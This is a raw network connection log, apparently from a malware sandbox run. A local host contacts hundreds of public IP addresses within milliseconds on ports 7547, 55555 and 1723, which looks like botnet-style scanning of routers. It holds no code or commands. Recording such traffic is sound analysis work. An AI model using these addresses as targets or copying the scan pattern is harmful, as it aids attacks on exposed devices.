Mar 21, 2024 05:16:56.501123905 CET	39762	7547	192.168.2.13	195.99.188.101
Mar 21, 2024 05:16:56.501130104 CET	39762	7547	192.168.2.13	135.31.235.227
Mar 21, 2024 05:16:56.501130104 CET	44370	55555	192.168.2.13	184.178.148.101
Mar 21, 2024 05:16:56.501130104 CET	44370	55555	192.168.2.13	184.85.41.143
Mar 21, 2024 05:16:56.501132011 CET	44370	55555	192.168.2.13	98.251.152.91
Mar 21, 2024 05:16:56.501132965 CET	39762	7547	192.168.2.13	54.90.210.250
Mar 21, 2024 05:16:56.501135111 CET	44370	55555	192.168.2.13	184.122.3.59
Mar 21, 2024 05:16:56.501146078 CET	39762	7547	192.168.2.13	120.232.23.153
Mar 21, 2024 05:16:56.501151085 CET	44370	55555	192.168.2.13	184.157.243.87
Mar 21, 2024 05:16:56.501151085 CET	44370	55555	192.168.2.13	172.45.68.50
Mar 21, 2024 05:16:56.501152039 CET	39762	7547	192.168.2.13	223.252.169.175
Mar 21, 2024 05:16:56.501152039 CET	39762	7547	192.168.2.13	212.186.59.57
Mar 21, 2024 05:16:56.501152992 CET	44370	55555	192.168.2.13	98.58.56.165
Mar 21, 2024 05:16:56.501153946 CET	39762	7547	192.168.2.13	122.3.216.14
Mar 21, 2024 05:16:56.501153946 CET	44370	55555	192.168.2.13	184.6.173.16
Mar 21, 2024 05:16:56.501153946 CET	44370	55555	192.168.2.13	184.113.57.124
Mar 21, 2024 05:16:56.501156092 CET	44370	55555	192.168.2.13	98.206.185.116
Mar 21, 2024 05:16:56.501157045 CET	39762	7547	192.168.2.13	132.89.136.202
Mar 21, 2024 05:16:56.501168013 CET	44370	55555	192.168.2.13	98.124.31.196
Mar 21, 2024 05:16:56.501174927 CET	44370	55555	192.168.2.13	172.121.248.204
Mar 21, 2024 05:16:56.501174927 CET	39762	7547	192.168.2.13	40.135.9.108
Mar 21, 2024 05:16:56.501174927 CET	44370	55555	192.168.2.13	98.0.217.32
Mar 21, 2024 05:16:56.501180887 CET	39762	7547	192.168.2.13	94.172.141.126
Mar 21, 2024 05:16:56.501180887 CET	39762	7547	192.168.2.13	131.22.13.200
Mar 21, 2024 05:16:56.501180887 CET	44370	55555	192.168.2.13	184.110.178.56
Mar 21, 2024 05:16:56.501180887 CET	44370	55555	192.168.2.13	184.248.172.170
Mar 21, 2024 05:16:56.501188040 CET	39762	7547	192.168.2.13	102.178.185.181
Mar 21, 2024 05:16:56.501189947 CET	44370	55555	192.168.2.13	172.212.227.222
Mar 21, 2024 05:16:56.501208067 CET	44370	55555	192.168.2.13	172.117.230.197
Mar 21, 2024 05:16:56.501209974 CET	42578	1723	192.168.2.13	213.75.22.174
Mar 21, 2024 05:16:56.501209974 CET	44370	55555	192.168.2.13	184.135.255.121
Mar 21, 2024 05:16:56.501210928 CET	42578	1723	192.168.2.13	213.248.174.231
Mar 21, 2024 05:16:56.501210928 CET	44370	55555	192.168.2.13	172.113.242.147
Mar 21, 2024 05:16:56.501218081 CET	44370	55555	192.168.2.13	184.66.169.175
Mar 21, 2024 05:16:56.501230955 CET	44370	55555	192.168.2.13	98.70.178.61
Mar 21, 2024 05:16:56.501236916 CET	42578	1723	192.168.2.13	213.228.201.55
Mar 21, 2024 05:16:56.501239061 CET	44370	55555	192.168.2.13	184.147.28.192
Mar 21, 2024 05:16:56.501264095 CET	42578	1723	192.168.2.13	213.99.107.229
Mar 21, 2024 05:16:56.501265049 CET	42578	1723	192.168.2.13	213.75.209.24
Mar 21, 2024 05:16:56.501266003 CET	42578	1723	192.168.2.13	213.251.155.83
Mar 21, 2024 05:16:56.501266003 CET	44370	55555	192.168.2.13	172.75.211.58
Mar 21, 2024 05:16:56.501280069 CET	44370	55555	192.168.2.13	98.231.77.66
Mar 21, 2024 05:16:56.501290083 CET	44370	55555	192.168.2.13	184.32.235.79
Mar 21, 2024 05:16:56.501292944 CET	39762	7547	192.168.2.13	158.107.157.108
Mar 21, 2024 05:16:56.501292944 CET	39762	7547	192.168.2.13	41.247.217.115
Mar 21, 2024 05:16:56.501307011 CET	39762	7547	192.168.2.13	221.82.24.238
Mar 21, 2024 05:16:56.501308918 CET	39762	7547	192.168.2.13	12.252.102.180
Mar 21, 2024 05:16:56.501321077 CET	39762	7547	192.168.2.13	178.64.17.24
Mar 21, 2024 05:16:56.501323938 CET	39762	7547	192.168.2.13	157.18.57.184
Mar 21, 2024 05:16:56.501323938 CET	39762	7547	192.168.2.13	218.133.240.198
Mar 21, 2024 05:16:56.501324892 CET	39762	7547	192.168.2.13	105.47.131.52
Mar 21, 2024 05:16:56.501327038 CET	39762	7547	192.168.2.13	163.39.251.79
Mar 21, 2024 05:16:56.501400948 CET	42578	1723	192.168.2.13	213.150.142.26
Mar 21, 2024 05:16:56.501403093 CET	42578	1723	192.168.2.13	213.4.60.64
Mar 21, 2024 05:16:56.501403093 CET	42578	1723	192.168.2.13	213.136.147.130
Mar 21, 2024 05:16:56.501421928 CET	42578	1723	192.168.2.13	213.239.53.106
Mar 21, 2024 05:16:56.501421928 CET	42578	1723	192.168.2.13	213.195.102.142
Mar 21, 2024 05:16:56.501434088 CET	42578	1723	192.168.2.13	213.242.80.240
Mar 21, 2024 05:16:56.501450062 CET	42578	1723	192.168.2.13	213.206.165.129
Mar 21, 2024 05:16:56.501471043 CET	42578	1723	192.168.2.13	213.84.207.43
Mar 21, 2024 05:16:56.501490116 CET	42578	1723	192.168.2.13	213.38.33.115
Mar 21, 2024 05:16:56.501492977 CET	42578	1723	192.168.2.13	213.170.19.143
Mar 21, 2024 05:16:56.501518011 CET	42578	1723	192.168.2.13	213.177.218.21
Mar 21, 2024 05:16:56.501522064 CET	42578	1723	192.168.2.13	213.225.124.191
Mar 21, 2024 05:16:56.501533031 CET	42578	1723	192.168.2.13	213.238.122.12
Mar 21, 2024 05:16:56.501549959 CET	42578	1723	192.168.2.13	213.52.218.125
Mar 21, 2024 05:16:56.501566887 CET	42578	1723	192.168.2.13	213.244.184.96
Mar 21, 2024 05:16:56.501576900 CET	42578	1723	192.168.2.13	213.47.252.40
Mar 21, 2024 05:16:56.501579046 CET	42578	1723	192.168.2.13	213.211.142.5
Mar 21, 2024 05:16:56.501586914 CET	42578	1723	192.168.2.13	213.210.57.72
Mar 21, 2024 05:16:56.501605034 CET	42578	1723	192.168.2.13	213.53.68.94
Mar 21, 2024 05:16:56.501621962 CET	42578	1723	192.168.2.13	213.228.43.42
Mar 21, 2024 05:16:56.501643896 CET	42578	1723	192.168.2.13	213.186.204.129
Mar 21, 2024 05:16:56.501657009 CET	42578	1723	192.168.2.13	213.160.105.167
Mar 21, 2024 05:16:56.501658916 CET	42578	1723	192.168.2.13	213.21.172.97
Mar 21, 2024 05:16:56.501668930 CET	42578	1723	192.168.2.13	213.181.126.40
Mar 21, 2024 05:16:56.501682997 CET	42578	1723	192.168.2.13	213.226.145.39
Mar 21, 2024 05:16:56.501709938 CET	42578	1723	192.168.2.13	213.77.171.227
Mar 21, 2024 05:16:56.501715899 CET	42578	1723	192.168.2.13	213.178.156.32
Mar 21, 2024 05:16:56.501720905 CET	42578	1723	192.168.2.13	213.244.134.123
Mar 21, 2024 05:16:56.501738071 CET	42578	1723	192.168.2.13	213.73.152.169
Mar 21, 2024 05:16:56.501760960 CET	42578	1723	192.168.2.13	213.135.82.4
Mar 21, 2024 05:16:56.501770973 CET	42578	1723	192.168.2.13	213.174.231.92
Mar 21, 2024 05:16:56.501779079 CET	42578	1723	192.168.2.13	213.127.200.112
Mar 21, 2024 05:16:56.501787901 CET	42578	1723	192.168.2.13	213.135.185.236
Mar 21, 2024 05:16:56.501801968 CET	42578	1723	192.168.2.13	213.24.72.181
Mar 21, 2024 05:16:56.501816034 CET	42578	1723	192.168.2.13	213.153.174.92
Mar 21, 2024 05:16:56.501818895 CET	42578	1723	192.168.2.13	213.131.121.101
Mar 21, 2024 05:16:56.501841068 CET	42578	1723	192.168.2.13	213.114.56.108
Mar 21, 2024 05:16:56.501852989 CET	42578	1723	192.168.2.13	213.123.76.69
Mar 21, 2024 05:16:56.501864910 CET	42578	1723	192.168.2.13	213.247.101.49
Mar 21, 2024 05:16:56.501884937 CET	42578	1723	192.168.2.13	213.177.187.215
Mar 21, 2024 05:16:56.501899004 CET	42578	1723	192.168.2.13	213.208.96.69
Mar 21, 2024 05:16:56.501907110 CET	42578	1723	192.168.2.13	213.255.41.213
Mar 21, 2024 05:16:56.501955032 CET	42578	1723	192.168.2.13	213.228.66.108
Mar 21, 2024 05:16:56.501957893 CET	42578	1723	192.168.2.13	213.238.212.2
Mar 21, 2024 05:16:56.501957893 CET	42578	1723	192.168.2.13	213.54.229.136
Mar 21, 2024 05:16:56.501972914 CET	42578	1723	192.168.2.13	213.233.80.58
Mar 21, 2024 05:16:56.501990080 CET	42578	1723	192.168.2.13	213.71.68.158
Mar 21, 2024 05:16:56.502001047 CET	42578	1723	192.168.2.13	213.254.28.24
Mar 21, 2024 05:16:56.502007961 CET	42578	1723	192.168.2.13	213.57.161.234
Mar 21, 2024 05:16:56.502010107 CET	42578	1723	192.168.2.13	213.103.204.34
Mar 21, 2024 05:16:56.502032995 CET	42578	1723	192.168.2.13	213.218.81.154
Mar 21, 2024 05:16:56.502032995 CET	42578	1723	192.168.2.13	213.90.40.36
Mar 21, 2024 05:16:56.502054930 CET	42578	1723	192.168.2.13	213.17.238.73
Mar 21, 2024 05:16:56.502069950 CET	42578	1723	192.168.2.13	213.94.72.142
Mar 21, 2024 05:16:56.502082109 CET	42578	1723	192.168.2.13	213.187.160.43
Mar 21, 2024 05:16:56.502096891 CET	42578	1723	192.168.2.13	213.96.151.179
Mar 21, 2024 05:16:56.502111912 CET	42578	1723	192.168.2.13	213.186.224.70
Mar 21, 2024 05:16:56.502151012 CET	42578	1723	192.168.2.13	213.3.128.69
Mar 21, 2024 05:16:56.502166986 CET	42578	1723	192.168.2.13	213.73.178.18
Mar 21, 2024 05:16:56.502166986 CET	42578	1723	192.168.2.13	213.255.73.162
Mar 21, 2024 05:16:56.502166986 CET	42578	1723	192.168.2.13	213.187.152.157
Mar 21, 2024 05:16:56.502183914 CET	42578	1723	192.168.2.13	213.182.168.249
Mar 21, 2024 05:16:56.502207994 CET	42578	1723	192.168.2.13	213.211.172.76
Mar 21, 2024 05:16:56.502216101 CET	42578	1723	192.168.2.13	213.139.60.226
Mar 21, 2024 05:16:56.502219915 CET	42578	1723	192.168.2.13	213.129.12.249
Mar 21, 2024 05:16:56.502234936 CET	42578	1723	192.168.2.13	213.183.132.72
Mar 21, 2024 05:16:56.502237082 CET	42578	1723	192.168.2.13	213.138.52.84
Mar 21, 2024 05:16:56.502293110 CET	42578	1723	192.168.2.13	213.81.246.201
Mar 21, 2024 05:16:56.502320051 CET	42578	1723	192.168.2.13	213.195.57.169
Mar 21, 2024 05:16:56.502320051 CET	42578	1723	192.168.2.13	213.223.176.104
Mar 21, 2024 05:16:56.502320051 CET	42578	1723	192.168.2.13	213.39.63.112
Mar 21, 2024 05:16:56.502342939 CET	42578	1723	192.168.2.13	213.103.1.12
Mar 21, 2024 05:16:56.502342939 CET	42578	1723	192.168.2.13	213.227.136.208
Mar 21, 2024 05:16:56.502346039 CET	42578	1723	192.168.2.13	213.169.7.136
Mar 21, 2024 05:16:56.502347946 CET	42578	1723	192.168.2.13	213.134.20.7
Mar 21, 2024 05:16:56.502355099 CET	42578	1723	192.168.2.13	213.89.240.22
Mar 21, 2024 05:16:56.502372026 CET	44370	55555	192.168.2.13	172.220.112.100
Mar 21, 2024 05:16:56.502374887 CET	42578	1723	192.168.2.13	213.165.158.218
Mar 21, 2024 05:16:56.502374887 CET	44370	55555	192.168.2.13	172.226.128.203
Mar 21, 2024 05:16:56.502378941 CET	44370	55555	192.168.2.13	172.117.200.173
Mar 21, 2024 05:16:56.502382040 CET	44370	55555	192.168.2.13	172.247.74.151
Mar 21, 2024 05:16:56.502382040 CET	44370	55555	192.168.2.13	172.29.180.38
Mar 21, 2024 05:16:56.502388000 CET	44370	55555	192.168.2.13	184.114.251.122
Mar 21, 2024 05:16:56.502391100 CET	42578	1723	192.168.2.13	213.73.166.123
Mar 21, 2024 05:16:56.502391100 CET	44370	55555	192.168.2.13	184.130.38.46
Mar 21, 2024 05:16:56.502403975 CET	42578	1723	192.168.2.13	213.80.95.241
Mar 21, 2024 05:16:56.502412081 CET	44370	55555	192.168.2.13	184.225.169.3
Mar 21, 2024 05:16:56.502420902 CET	44370	55555	192.168.2.13	172.5.250.194
Mar 21, 2024 05:16:56.502423048 CET	42578	1723	192.168.2.13	213.136.97.60
Mar 21, 2024 05:16:56.502434015 CET	42578	1723	192.168.2.13	213.87.0.150
Mar 21, 2024 05:16:56.502437115 CET	44370	55555	192.168.2.13	172.39.224.253
Mar 21, 2024 05:16:56.502450943 CET	42578	1723	192.168.2.13	213.140.92.248
Mar 21, 2024 05:16:56.502453089 CET	44370	55555	192.168.2.13	184.27.144.128
Mar 21, 2024 05:16:56.502453089 CET	44370	55555	192.168.2.13	98.255.39.250
Mar 21, 2024 05:16:56.502453089 CET	42578	1723	192.168.2.13	213.173.50.17
Mar 21, 2024 05:16:56.502459049 CET	44370	55555	192.168.2.13	172.51.124.85
Mar 21, 2024 05:16:56.502460003 CET	44370	55555	192.168.2.13	184.70.78.169
Mar 21, 2024 05:16:56.502459049 CET	44370	55555	192.168.2.13	184.188.154.225
Mar 21, 2024 05:16:56.502471924 CET	44370	55555	192.168.2.13	172.199.54.94
Mar 21, 2024 05:16:56.502473116 CET	42578	1723	192.168.2.13	213.188.52.174
Mar 21, 2024 05:16:56.502473116 CET	42578	1723	192.168.2.13	213.231.196.151
Mar 21, 2024 05:16:56.502475977 CET	44370	55555	192.168.2.13	172.217.248.67
Mar 21, 2024 05:16:56.502485037 CET	44370	55555	192.168.2.13	184.127.59.166
Mar 21, 2024 05:16:56.502506018 CET	39762	7547	192.168.2.13	169.78.103.219
Mar 21, 2024 05:16:56.502507925 CET	44370	55555	192.168.2.13	184.2.168.206
Mar 21, 2024 05:16:56.502510071 CET	39762	7547	192.168.2.13	61.79.162.192
Mar 21, 2024 05:16:56.502511978 CET	39762	7547	192.168.2.13	220.119.2.15
Mar 21, 2024 05:16:56.502513885 CET	39762	7547	192.168.2.13	111.36.174.45
Mar 21, 2024 05:16:56.502521038 CET	44370	55555	192.168.2.13	172.77.202.51
Mar 21, 2024 05:16:56.502522945 CET	44370	55555	192.168.2.13	172.212.175.175
Mar 21, 2024 05:16:56.502527952 CET	39762	7547	192.168.2.13	115.196.225.118
Mar 21, 2024 05:16:56.502527952 CET	39762	7547	192.168.2.13	86.91.72.239
Mar 21, 2024 05:16:56.502531052 CET	44370	55555	192.168.2.13	98.84.154.205
Mar 21, 2024 05:16:56.502547026 CET	39762	7547	192.168.2.13	175.178.195.141
Mar 21, 2024 05:16:56.502547026 CET	39762	7547	192.168.2.13	50.38.201.243
Mar 21, 2024 05:16:56.502547026 CET	39762	7547	192.168.2.13	25.253.152.28
Mar 21, 2024 05:16:56.502562046 CET	39762	7547	192.168.2.13	96.8.53.96
Mar 21, 2024 05:16:56.502564907 CET	39762	7547	192.168.2.13	135.83.56.196
Mar 21, 2024 05:16:56.502573013 CET	44370	55555	192.168.2.13	184.243.207.166
Mar 21, 2024 05:16:56.502592087 CET	39762	7547	192.168.2.13	128.152.178.214
Mar 21, 2024 05:16:56.502607107 CET	39762	7547	192.168.2.13	87.182.124.108
Mar 21, 2024 05:16:56.502607107 CET	39762	7547	192.168.2.13	94.195.148.198
Mar 21, 2024 05:16:56.502607107 CET	44370	55555	192.168.2.13	98.84.149.118
Mar 21, 2024 05:16:56.502615929 CET	44370	55555	192.168.2.13	98.171.220.226
Mar 21, 2024 05:16:56.502615929 CET	39762	7547	192.168.2.13	111.230.122.86
Mar 21, 2024 05:16:56.502615929 CET	39762	7547	192.168.2.13	222.48.172.67
Mar 21, 2024 05:16:56.502626896 CET	44370	55555	192.168.2.13	172.73.156.131
Mar 21, 2024 05:16:56.502629995 CET	39762	7547	192.168.2.13	86.87.235.205
Mar 21, 2024 05:16:56.502628088 CET	39762	7547	192.168.2.13	200.141.96.237
Mar 21, 2024 05:16:56.502628088 CET	39762	7547	192.168.2.13	185.52.57.113
Mar 21, 2024 05:16:56.502628088 CET	39762	7547	192.168.2.13	173.243.60.205
Mar 21, 2024 05:16:56.502634048 CET	39762	7547	192.168.2.13	49.108.62.166
Mar 21, 2024 05:16:56.502645016 CET	44370	55555	192.168.2.13	172.171.250.87
Mar 21, 2024 05:16:56.502650023 CET	39762	7547	192.168.2.13	114.222.57.168
Mar 21, 2024 05:16:56.502655029 CET	44370	55555	192.168.2.13	98.118.26.50
Mar 21, 2024 05:16:56.502657890 CET	39762	7547	192.168.2.13	156.105.110.28
Mar 21, 2024 05:16:56.502660036 CET	39762	7547	192.168.2.13	32.223.71.190
Mar 21, 2024 05:16:56.502664089 CET	39762	7547	192.168.2.13	118.153.197.111
Mar 21, 2024 05:16:56.502676964 CET	44370	55555	192.168.2.13	172.237.5.143
Mar 21, 2024 05:16:56.502681017 CET	44370	55555	192.168.2.13	172.112.203.126
Mar 21, 2024 05:16:56.502681971 CET	39762	7547	192.168.2.13	88.142.178.188
Mar 21, 2024 05:16:56.502681971 CET	44370	55555	192.168.2.13	98.161.100.46
Mar 21, 2024 05:16:56.502684116 CET	44370	55555	192.168.2.13	184.208.52.227
Mar 21, 2024 05:16:56.502685070 CET	39762	7547	192.168.2.13	103.93.202.139
Mar 21, 2024 05:16:56.502685070 CET	44370	55555	192.168.2.13	184.83.70.17
Mar 21, 2024 05:16:56.502685070 CET	39762	7547	192.168.2.13	61.217.18.150
Mar 21, 2024 05:16:56.502685070 CET	44370	55555	192.168.2.13	98.234.184.66
Mar 21, 2024 05:16:56.502700090 CET	44370	55555	192.168.2.13	184.231.207.147
Mar 21, 2024 05:16:56.502700090 CET	44370	55555	192.168.2.13	172.168.121.168
Mar 21, 2024 05:16:56.502700090 CET	44370	55555	192.168.2.13	184.255.15.104
Mar 21, 2024 05:16:56.502712965 CET	39762	7547	192.168.2.13	41.125.39.253
Mar 21, 2024 05:16:56.502712965 CET	44370	55555	192.168.2.13	184.151.209.72
Mar 21, 2024 05:16:56.502717972 CET	44370	55555	192.168.2.13	172.233.139.245
Mar 21, 2024 05:16:56.502731085 CET	44370	55555	192.168.2.13	98.78.244.20
Mar 21, 2024 05:16:56.502731085 CET	44370	55555	192.168.2.13	184.129.107.88
Mar 21, 2024 05:16:56.502732038 CET	44370	55555	192.168.2.13	172.235.102.41
Mar 21, 2024 05:16:56.502743006 CET	44370	55555	192.168.2.13	184.138.92.227
Mar 21, 2024 05:16:56.502744913 CET	44370	55555	192.168.2.13	98.250.192.23
Mar 21, 2024 05:16:56.502744913 CET	44370	55555	192.168.2.13	184.135.103.211
Mar 21, 2024 05:16:56.502744913 CET	39762	7547	192.168.2.13	100.184.170.190
Mar 21, 2024 05:16:56.502753973 CET	39762	7547	192.168.2.13	107.186.145.227
Mar 21, 2024 05:16:56.502753019 CET	44370	55555	192.168.2.13	98.236.3.240
Mar 21, 2024 05:16:56.502758026 CET	44370	55555	192.168.2.13	184.8.178.152
Mar 21, 2024 05:16:56.502758980 CET	44370	55555	192.168.2.13	172.57.112.232
Mar 21, 2024 05:16:56.502768040 CET	39762	7547	192.168.2.13	122.15.158.168
Mar 21, 2024 05:16:56.502777100 CET	39762	7547	192.168.2.13	94.121.44.170
Mar 21, 2024 05:16:56.502779007 CET	39762	7547	192.168.2.13	83.144.135.163
Mar 21, 2024 05:16:56.502779007 CET	39762	7547	192.168.2.13	79.151.244.170
Mar 21, 2024 05:16:56.502784014 CET	44370	55555	192.168.2.13	184.60.182.84
Mar 21, 2024 05:16:56.502784014 CET	44370	55555	192.168.2.13	172.65.153.250
Mar 21, 2024 05:16:56.502787113 CET	44370	55555	192.168.2.13	172.217.13.116
Mar 21, 2024 05:16:56.502787113 CET	44370	55555	192.168.2.13	172.60.127.169
Mar 21, 2024 05:16:56.502787113 CET	44370	55555	192.168.2.13	98.110.11.195
Mar 21, 2024 05:16:56.502787113 CET	44370	55555	192.168.2.13	98.250.168.165
Mar 21, 2024 05:16:56.502787113 CET	39762	7547	192.168.2.13	177.167.247.50
Mar 21, 2024 05:16:56.502787113 CET	39762	7547	192.168.2.13	220.118.238.158
Mar 21, 2024 05:16:56.502789021 CET	44370	55555	192.168.2.13	172.199.215.162
Mar 21, 2024 05:16:56.502789021 CET	39762	7547	192.168.2.13	199.184.227.44
Mar 21, 2024 05:16:56.502790928 CET	39762	7547	192.168.2.13	184.15.132.62
Mar 21, 2024 05:16:56.502796888 CET	44370	55555	192.168.2.13	184.126.41.108
Mar 21, 2024 05:16:56.502796888 CET	39762	7547	192.168.2.13	165.75.150.250
Mar 21, 2024 05:16:56.502806902 CET	44370	55555	192.168.2.13	98.100.57.202
Mar 21, 2024 05:16:56.502810001 CET	39762	7547	192.168.2.13	35.138.81.84
Mar 21, 2024 05:16:56.502810001 CET	39762	7547	192.168.2.13	96.207.153.39
Mar 21, 2024 05:16:56.502814054 CET	44370	55555	192.168.2.13	184.159.69.79
Mar 21, 2024 05:16:56.502814054 CET	44370	55555	192.168.2.13	172.51.118.71
Mar 21, 2024 05:16:56.502819061 CET	44370	55555	192.168.2.13	98.244.226.230
Mar 21, 2024 05:16:56.502819061 CET	39762	7547	192.168.2.13	218.194.134.178
Mar 21, 2024 05:16:56.502823114 CET	39762	7547	192.168.2.13	155.135.158.96
Mar 21, 2024 05:16:56.502823114 CET	44370	55555	192.168.2.13	98.57.85.125
Mar 21, 2024 05:16:56.502823114 CET	39762	7547	192.168.2.13	18.145.99.194
Mar 21, 2024 05:16:56.502823114 CET	44370	55555	192.168.2.13	184.220.148.92
Mar 21, 2024 05:16:56.502825022 CET	39762	7547	192.168.2.13	140.179.78.129
Mar 21, 2024 05:16:56.502825022 CET	44370	55555	192.168.2.13	98.159.236.219
Mar 21, 2024 05:16:56.502830029 CET	39762	7547	192.168.2.13	205.178.141.151
Mar 21, 2024 05:16:56.502830029 CET	44370	55555	192.168.2.13	172.184.0.35
Mar 21, 2024 05:16:56.502830029 CET	44370	55555	192.168.2.13	184.12.174.58
Mar 21, 2024 05:16:56.502831936 CET	39762	7547	192.168.2.13	157.89.87.128
Mar 21, 2024 05:16:56.502834082 CET	39762	7547	192.168.2.13	167.240.200.11
Mar 21, 2024 05:16:56.502839088 CET	44370	55555	192.168.2.13	184.106.197.62
Mar 21, 2024 05:16:56.502842903 CET	44370	55555	192.168.2.13	172.145.72.246
Mar 21, 2024 05:16:56.502842903 CET	44370	55555	192.168.2.13	172.202.48.172
Mar 21, 2024 05:16:56.502842903 CET	39762	7547	192.168.2.13	145.39.137.103
Mar 21, 2024 05:16:56.502842903 CET	44370	55555	192.168.2.13	172.38.215.93
Mar 21, 2024 05:16:56.502855062 CET	39762	7547	192.168.2.13	62.44.222.38
Mar 21, 2024 05:16:56.502856970 CET	39762	7547	192.168.2.13	203.79.99.87
Mar 21, 2024 05:16:56.502856970 CET	44370	55555	192.168.2.13	184.1.61.42
Mar 21, 2024 05:16:56.502856970 CET	44370	55555	192.168.2.13	184.70.171.63
Mar 21, 2024 05:16:56.502860069 CET	39762	7547	192.168.2.13	43.83.120.71
Mar 21, 2024 05:16:56.502860069 CET	39762	7547	192.168.2.13	213.29.222.234
Mar 21, 2024 05:16:56.502860069 CET	39762	7547	192.168.2.13	4.135.166.203
Mar 21, 2024 05:16:56.502860069 CET	39762	7547	192.168.2.13	82.75.143.26
Mar 21, 2024 05:16:56.502860069 CET	44370	55555	192.168.2.13	98.138.142.50
Mar 21, 2024 05:16:56.502863884 CET	44370	55555	192.168.2.13	184.155.53.154
Mar 21, 2024 05:16:56.502870083 CET	44370	55555	192.168.2.13	172.119.138.39
Mar 21, 2024 05:16:56.502870083 CET	44370	55555	192.168.2.13	184.194.143.18
Mar 21, 2024 05:16:56.502870083 CET	39762	7547	192.168.2.13	176.212.176.91
Mar 21, 2024 05:16:56.502877951 CET	44370	55555	192.168.2.13	184.35.150.184
Mar 21, 2024 05:16:56.502877951 CET	44370	55555	192.168.2.13	184.67.25.183
Mar 21, 2024 05:16:56.502876043 CET	44370	55555	192.168.2.13	172.172.42.108
Mar 21, 2024 05:16:56.502878904 CET	44370	55555	192.168.2.13	172.65.141.51
Mar 21, 2024 05:16:56.502878904 CET	39762	7547	192.168.2.13	201.162.4.51
Mar 21, 2024 05:16:56.502878904 CET	44370	55555	192.168.2.13	172.69.229.238
Mar 21, 2024 05:16:56.502881050 CET	39762	7547	192.168.2.13	155.212.214.181
Mar 21, 2024 05:16:56.502881050 CET	39762	7547	192.168.2.13	140.109.228.125
Mar 21, 2024 05:16:56.502882004 CET	39762	7547	192.168.2.13	190.150.193.36
Mar 21, 2024 05:16:56.502882957 CET	39762	7547	192.168.2.13	135.6.160.215
Mar 21, 2024 05:16:56.502882957 CET	44370	55555	192.168.2.13	172.44.53.95
Mar 21, 2024 05:16:56.502883911 CET	44370	55555	192.168.2.13	98.190.190.102
Mar 21, 2024 05:16:56.502885103 CET	39762	7547	192.168.2.13	80.128.252.172
Mar 21, 2024 05:16:56.502885103 CET	44370	55555	192.168.2.13	172.255.109.245
Mar 21, 2024 05:16:56.502885103 CET	44370	55555	192.168.2.13	184.178.176.212
Mar 21, 2024 05:16:56.502886057 CET	39762	7547	192.168.2.13	139.49.35.206
Mar 21, 2024 05:16:56.502886057 CET	44370	55555	192.168.2.13	184.217.60.134
Mar 21, 2024 05:16:56.502886057 CET	39762	7547	192.168.2.13	67.90.132.217
Mar 21, 2024 05:16:56.502888918 CET	44370	55555	192.168.2.13	98.98.16.247
Mar 21, 2024 05:16:56.502890110 CET	44370	55555	192.168.2.13	184.186.255.25
Mar 21, 2024 05:16:56.502902985 CET	39762	7547	192.168.2.13	209.180.13.200
Mar 21, 2024 05:16:56.502907038 CET	44370	55555	192.168.2.13	98.2.250.13
Mar 21, 2024 05:16:56.502907038 CET	44370	55555	192.168.2.13	184.22.30.212
Mar 21, 2024 05:16:56.502907038 CET	44370	55555	192.168.2.13	184.30.150.182
Mar 21, 2024 05:16:56.502907991 CET	39762	7547	192.168.2.13	73.164.9.204
Mar 21, 2024 05:16:56.502926111 CET	44370	55555	192.168.2.13	98.43.204.148
Mar 21, 2024 05:16:56.502928972 CET	39762	7547	192.168.2.13	172.243.151.15
Mar 21, 2024 05:16:56.502929926 CET	44370	55555	192.168.2.13	184.42.36.140
Mar 21, 2024 05:16:56.502929926 CET	44370	55555	192.168.2.13	184.181.104.102
Mar 21, 2024 05:16:56.502933025 CET	39762	7547	192.168.2.13	141.135.190.88
Mar 21, 2024 05:16:56.502937078 CET	44370	55555	192.168.2.13	98.88.59.37
Mar 21, 2024 05:16:56.502937078 CET	44370	55555	192.168.2.13	98.70.122.248
Mar 21, 2024 05:16:56.502945900 CET	44370	55555	192.168.2.13	184.201.121.193
Mar 21, 2024 05:16:56.502945900 CET	44370	55555	192.168.2.13	98.26.112.192
Mar 21, 2024 05:16:56.502947092 CET	44370	55555	192.168.2.13	184.100.98.157
Mar 21, 2024 05:16:56.502948046 CET	44370	55555	192.168.2.13	98.131.15.139
Mar 21, 2024 05:16:56.502948046 CET	44370	55555	192.168.2.13	98.129.230.100
Mar 21, 2024 05:16:56.502948046 CET	44370	55555	192.168.2.13	184.222.122.205
Mar 21, 2024 05:16:56.502948046 CET	39762	7547	192.168.2.13	151.51.160.34
Mar 21, 2024 05:16:56.502952099 CET	44370	55555	192.168.2.13	98.138.102.242
Mar 21, 2024 05:16:56.502962112 CET	44370	55555	192.168.2.13	172.29.155.170
Mar 21, 2024 05:16:56.502968073 CET	44370	55555	192.168.2.13	172.85.27.189
Mar 21, 2024 05:16:56.502969027 CET	39762	7547	192.168.2.13	151.141.172.225
Mar 21, 2024 05:16:56.502969027 CET	39762	7547	192.168.2.13	209.118.230.70
Mar 21, 2024 05:16:56.502969027 CET	39762	7547	192.168.2.13	110.246.224.30
Mar 21, 2024 05:16:56.502969027 CET	44370	55555	192.168.2.13	172.179.254.84
Mar 21, 2024 05:16:56.502994061 CET	39762	7547	192.168.2.13	179.9.79.208
Mar 21, 2024 05:16:56.502994061 CET	39762	7547	192.168.2.13	1.137.99.165
Mar 21, 2024 05:16:56.502994061 CET	44370	55555	192.168.2.13	98.0.35.49
Mar 21, 2024 05:16:56.502998114 CET	39762	7547	192.168.2.13	190.204.120.20
Mar 21, 2024 05:16:56.502999067 CET	39762	7547	192.168.2.13	89.63.133.233
Mar 21, 2024 05:16:56.502999067 CET	44370	55555	192.168.2.13	184.226.45.14
Mar 21, 2024 05:16:56.502999067 CET	39762	7547	192.168.2.13	58.94.40.245
Mar 21, 2024 05:16:56.502999067 CET	39762	7547	192.168.2.13	14.97.216.171
Mar 21, 2024 05:16:56.502999067 CET	44370	55555	192.168.2.13	184.149.242.8
Mar 21, 2024 05:16:56.502999067 CET	39762	7547	192.168.2.13	209.77.15.3
Mar 21, 2024 05:16:56.503001928 CET	44370	55555	192.168.2.13	98.81.1.31
Mar 21, 2024 05:16:56.503002882 CET	39762	7547	192.168.2.13	178.144.216.180
Mar 21, 2024 05:16:56.503002882 CET	39762	7547	192.168.2.13	178.8.172.197
Mar 21, 2024 05:16:56.503001928 CET	39762	7547	192.168.2.13	199.161.226.133
Mar 21, 2024 05:16:56.503001928 CET	39762	7547	192.168.2.13	132.155.107.21
Mar 21, 2024 05:16:56.503001928 CET	44370	55555	192.168.2.13	184.75.101.169
Mar 21, 2024 05:16:56.503001928 CET	44370	55555	192.168.2.13	184.17.234.233
Mar 21, 2024 05:16:56.503027916 CET	44370	55555	192.168.2.13	172.47.41.10
